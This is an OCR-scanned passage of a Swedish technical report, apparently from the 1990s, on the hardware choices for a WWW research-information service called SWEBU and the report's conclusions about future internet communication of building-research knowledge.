buggfixar har latit véinta pa sig. Microsoft NT &r dock ett embryo till ett
mycket bra operativsystem som vi kan forvénta oss mycket av 1 framtiden.

123 HARDVARA

Den viktigaste faktorn vid val av hardvara for en WWW tjénst som SWEBU
bor vara driftsédkerheten. Detta innebér att man bor vilja datorutrustning som
ar uppbyggd av beprovade komponenter. Om man viljer att kdpa ett Intel/PC
baserat system bor man undvika mérkesfabrikat som t ex IBM, Compaq med
flera. Dessa stora fOretag har stora resurser som de ofta utnyttjar for att skapa
egna foretagsspecifika komponenter, som dels kan vara svara att fa tag i som
reservdel efter ett par ar, och som dels kan vara okénda och ddrmed inte
testade av mjukvaruproducenterna. Detta resonemang géller stationédra datorer
som dr ldmpliga som WWW servers. Om man 1 stéllet talar om bérbara
maskiner gor man klokt i att vilja en mérkesprodukt, da dessa i vilket fall som
helst innehaller specialkomponenter och det da &r béttre att det &r
specialkomponenter fran nagon stor leverantor én fran en liten.

Man bor édven se till att det finns nagon som tar totalansvar for forséljningen
och designen av datorsystemet. Det dr annars mycket létt (speciellt i PC
vérlden) att man hamnar i situationen att man kopt t ex ett ndtverkskort fran en
tillverkare och ett SCCI- kort frdn en annan samt minnen och moderkort fran
en tredje. Om néagot skulle kringla i denna situation &r det vanligt att
leverantorerna forsoker kasta skulden pa varandra och man kan hamna i en
knipa som kan vara svar, eller &tminstone dyr, att ta sig ur.

Ofta dr det svart att forutse lasten pa en WWW server eftersom man i princip
plotsligt kan fa hela internet samhéllet som besokare till sin server om den
skulle visa sig innehalla ndgot av virldsintresse. I de flesta fall &r det inte
ekonomiskt forsvarbart eller kanske inte ens mojligt att kopa serverresurser
som &r designade att klara ett sadant virsta fall.

En enkel Intel Pentium bestyckad dator réicker 1 de flesta fall. Den kan serva
tusentals WWW sidor om dagen utan att ge obehagligt langa svarstider. De
prestanda som fas beror naturligtvis till stor del pa vilket operativsystem som
anvinds.
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Det dr dock viktigt att man inte bara satsar pa en snabb CPU (t ex 133 MHz
Pentium) man maste dven tdnka pa att vilja kringutrustning sa att man far ett
balanserat system. Detta innebir idag pd PC-sidan att man anvinder SCSI
(Small Computer System Interface) 1 stéllet for IDE (Integrated Drive
Electronics) som diskkontroller, atminstone om man anvinder Windows NT
eller UNIX som operativsystem. Om man anvénder dldre Windows versioner
viljer man det som é&r billigast da operativsystemet dnda ej kan utnyttja SCSI
systemets storre snabbhet. Det bor dock tilldggas att SCSI systemet ar léttare
att bygga ut med flera hardiskar. Man kan ha upp till sex sju enheter anslutna
till samma SCSI kort.

Vad det giller primdrminne bor systemet utnyttja sa snabba minnen som
mojligt. Man bor dessutom se till att man har tillrdckligt med minne foOr att inte
behdva anvénda virtuellt minne annat &n vid absoluta toppbelastningar. For
Windows NT rekommenderas minst 64 Mbyte for att kunna hantera
funktionaliteten som beskrivs i denna rapport. UNIX klarar sig med négot
mindre midngd minne. For Windows 95 med t.ex. Microsoft Access som
databas bor det rdcka med ca 40 Mbyte.

Aven det mest tillforlitliga system kan rika ut for haverier t ex pa grund av
slitage av rorliga delar i skivminnen, flaktar eller pa grund av stromavbrott
som 1 sin tur kan leda till korrupta filsystem. For att minimera skadan av
sadana driftsavbrott bor man med jimna mellanrum ta sdkerhetskopior av
information och programvara samt dess konfiguration som finns lagrat pa
systemet. Detta gors lampligen genom att man sparar systeminnehallet pa en
bandstation.

Dessa sdkerhetskopior kan vara inkrementella (man kopierar bara det som
dndrats sedan forra sékerhetskopian) eller totala (man kopierar allt). Om man
har allt f6r ménga inkrement blir det oftast arbetsammare och mera
tidskrdavande att aterstilla ett skadat system. Det dr dédrfor viktigt att anpassa
bandstorleken sa att man inte far allt for ménga band att hélla reda pa niar man
tar en total sdkerhetskopia. Limpligen véljer man en bandstation som
anvinder DAT-band (Digital Audio Tape). En sddan bandstation kan vanligen
lagra mellan 2 och 5 Gbyte data beroende pa om komprimering anvinds eller
e]J. Ndr man koper in band bor man vilja band som é&r avsedda for
sakerhetskopiering av data och inte falla for frestelsen att vélja de billigare
band som 4r avsedda for inspelning av ljud. Dessa band &r vanligen dr av ldgre
kvalitet och kan dérigenom fororsaka forlust av data.

For vara experiment med SWEBU systemet anvénde vi en Sun 4 med 64
Mbyte primidrminne, tre SCCI-2 Wide hardiskar om vardera 1 Gbyte. Denna
maskin dr bestyckad med en 110 MHz micro spark processor som vad det
giller prestanda ir i klass med en 200 MHz Pentium PRO processor fran Intel.
Vart val av hardvara styrdes helt av operativsystemvalet. Det visade sig
dessutom att motsvarande PC system hade blivit avsevért dyrare. I och med
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valet av Sun/Solaris fick vi dven en leverantor av savil hardvara som
operativsystem.

13. Slutsatser

Rapporten beskriver hur vi i framtiden pa Internet effektivt kan kommunicera
forskningsinformation. Det vixande informationsflodet 1 de globala nédtverken
gor det allt mera nodvéndigt att skapa kunskapsnoder dir sakkunniga viljer ut
och kvalitetsmirker informationen samt forpackar den pa sddant sétt att den
blir litt att tillgodogora sig for de tinkta malgrupperna. I byggsammanhang
bor man Over internet ha tillgéng till forskningsresultat, byggnormer, produkt-
information, erfarenhetsdata fran forvaltning etc., givetvis innehallande
hyperlidnkade referenser till andra kéllor.

Nya mojligheter 6ppnas for anvéndare att via anpassade multimediala
grdnssnitt kommunicera mot underliggande information. Allt mer av
forskningsresultaten dokumenteras i digital form och blir ddirmed mera
tillgdngliga. Samtidigt fordndras forpackning och tillhorande
lagringsstrukturer som en f6ljd av introduktionen av avancerade IT-verktyg,
som bland annat anvéndes for att hantera olika slags kunskapsrepresentationer
1 Internet-milj6 (objekt-, relationsdatabaser, bilder, etc.).

For att skapa fortroende tor det nya mediet dr det viktigt att man beaktar de
sdkerhets-, sarbarhets och integritetsaspekter som finns. Detta &r sérskilt
viktigt eftersom dagens IT tjdnster bara &r i borjan pé en trolig framtida
utveckling och uppskalning dir informationssokning, handel med information,
varor och tjanster kommer att ta en allt storre del av det dagliga livet.

Flera av de IT-verktyg som anvénts 1 projektet kommer att forbéttras inom de
narmsta dren och ddarmed ytterligare att oka systemets effektivitet och
anvdndarvinlighet.. De modeller som tagits fram kommer 1 stor utstrackning
att kunna anvindas i senare skeden av systemutvecklingen.

Vi kommer dven att se agentbaserade system som utfor handlingar och
interaktioner (som t.ex. byte av eller forsédljning/kop av information) med
andra agenter eller ménniskor savél inom begrinsade intranet som pa Internet.
Eftersom savil den tekniska som den samhilleliga fordndringsprocessen
kommer att paskyndas, och att virlden tack vare IT kan krympas, maste vi
skapa verktyg som gor det litt fOr oss att ta fram nya losningar som passar den
fordndrade situationen.

Exempel pa kritiska tekniksegment som fordras for att kunna f6lja med i

utvecklingen &r:

- tillgang till snabba ndtverk som t ex kan anvéndas for 6verforing av video,
ljud och dérigenom ge mojlighet for rikare distansarbete och datorstott
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samarbete eller for att snabbt fa fram beslutsunderlag fran kvalitetsmirkta
databaser vérlden Over 1 ett gigantiskt beslutstodssystem.

- bra krypterings- och autentiseringssystem for att kunna bedriva handel och
bevara personlig integritet

- att dn mera fokusera pa data- och nditsdkerhet sé att ménniskor kénner sig
trygga med den nya tekniken och verkligen vagar utnyttja den till fullo.

- platformsoberoende teknik (t ex Java baserade 16sningar) for att f4 ned
utvecklingskostnaderna och fa effektiv spridning bland anvéndarna.
Effektiv spridning &r viktig eftersom ménga av de nya hjdlpmedlen bygger
pé att man ska kommunicera med andra ménniskor eller maskiner. Som
Jamforelse kan ndmnas telefonen som inte blev riktigt anvindbar forrén den
var allmént spridd.

- utveckling av de multimediala grinssnitten mot enskilda anvindare och
anvéndare i grupp. Allt ifran traditionell multimedia till samarbete och
visualisering i virtuella virldar.

- avancerade IT-verktyg for att modellera och bygga morgondagens
informationssystem

Bestillarkompetensen inom byggomradet maste generellt hojas framover for
att 0ka sannolikheten for kloka och langsiktiga IT investeringar kommer att
ske. Denna rapport utgor en inledning pa ett sadant arbete med bade en
praktisk, exemplet forskningsnod, och en mera teoretisk teknisk del. Vi har
dven forsokt att formedla information for att 6ka forstaelsen for det hopvivda
samband som rader mellan vara tillimpningar och IT. Faktum &r att vi nu
tillsammans till stora delar designar helt nya 16sningar f6r hur information
med hjélp av avancerad IT effektiv skall kunna hanteras i1 framtiden.
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